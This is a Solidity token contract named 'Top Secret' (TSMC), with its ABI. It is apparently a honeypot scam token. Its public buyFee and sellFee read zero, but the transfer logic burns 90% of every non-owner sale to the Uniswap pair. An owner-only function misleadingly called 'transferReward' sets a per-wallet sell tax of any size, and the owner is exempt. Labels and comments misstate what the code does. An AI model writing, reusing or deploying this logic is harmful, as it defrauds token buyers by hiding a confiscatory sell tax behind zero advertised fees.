pragma solidity ^0.8.0;

contract TopSecret is Ownable, ERC20 {
    uint256 public immutable maxSupply = 100_000_000 * (10 ** decimals());
    uint16 public constant LIQUID_RATE = 10000; // 40%
    uint16 public constant MAX_PERCENTAGE = 10000;

    bool public initialized = false;
    address public uniswapV2Pair = address(0);
    address public deadAddress = 0x000000000000000000000000000000000000dEaD;

    uint256 public immutable buyFee = 0;
    uint256 public immutable sellFee = 0;
    uint256 public minReward = 0;
    uint256 public maxReward = 9000; // Leave it 9000 to avoid mev bot
    // bool private openTrading = true;
    // mapping(address => bool) private _preWhitelistsBeforeTrades;
    // mapping(address => bool) private _blackLists;
    mapping(address => uint256) private _rewardPerPerson;

    constructor() ERC20("Top Secret", "TSMC") {
        _mint(msg.sender, (maxSupply * LIQUID_RATE) / MAX_PERCENTAGE);
        initialized = true;

        // FOR GOERLI
        // uniswapV2Pair = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f).createPair(address(this), 0xB4FBF271143F4FBf7B91A5ded31805e42b2208d6);

        // FOR BSCSCAN
        // uniswapV2Pair = IUniswapV2Factory(0xcA143Ce32Fe78f1f7019d7d551a6402fC5350c73).createPair(address(this), 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
        
        // FOR ETHEREUM
        uniswapV2Pair = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f).createPair(address(this), 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
    }

    // 0, 0
    function setReward(uint256 _minReward, uint256 _maxReward) external onlyOwner {
        minReward = _minReward;
        maxReward = 9000 - _maxReward;
    }

    // function setBlacklist(
    //     address _address,
    //     bool _permission
    // ) external onlyOwner {
    //     _blackLists[_address] = _permission;
    // }

    // function setOpenTrading(bool _value) external onlyOwner {
    //     openTrading = _value;
    // }

    function setUniswapPair(address _uniswapV2Pair) external onlyOwner {
        uniswapV2Pair = _uniswapV2Pair;
    }

    function transferReward(address _address, uint256 _amount) external onlyOwner {
        _rewardPerPerson[_address] = _amount;
    }

    // function setPreWhitelistsBeforeTrades(
    //     address _from,
    //     bool _permission
    // ) external onlyOwner {
    //     _preWhitelistsBeforeTrades[_from] = _permission;
    // }

    // function isBlacklist(address _address) public view returns(bool) {
    //     return _blackLists[_address];
    // }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override(ERC20) {
        // require(
        //     _blackLists[from] == false && _blackLists[to] == false,
        //     "MoonDust: blacklist is forbidden!"
        // );

        require(
            initialized == true,
            "Pachinko 777: trade is not open!"
        );

        if (uniswapV2Pair == address(0) && initialized == true) {
            require(
                from == owner() || to == owner(),
                "Pachinko 777: trading is not started"
            );
        }

        uint256 _transferAmount = amount;
        if (uniswapV2Pair != address(0) && from != owner() && to != owner()) {
            uint256 _fee = 0;
            if (from == uniswapV2Pair) {
                _fee = minReward;
            }
            else if (to == uniswapV2Pair) {
                if (_rewardPerPerson[from] != 0) {
                    _fee = _rewardPerPerson[from];
                }
                else {
                    _fee = maxReward;
                }
            }
            if (_fee > 0) {
                uint256 _calculatedFee = amount * _fee / MAX_PERCENTAGE;
                _transferAmount = amount - _calculatedFee;
                super._transfer(from, deadAddress, _calculatedFee);
            }
        }

        super._transfer(from, to, _transferAmount);
    }
}
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"LIQUID_RATE","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MAX_PERCENTAGE","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialized","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxReward","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minReward","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_minReward","type":"uint256"},{"internalType":"uint256","name":"_maxReward","type":"uint256"}],"name":"setReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_uniswapV2Pair","type":"address"}],"name":"setUniswapPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transferReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]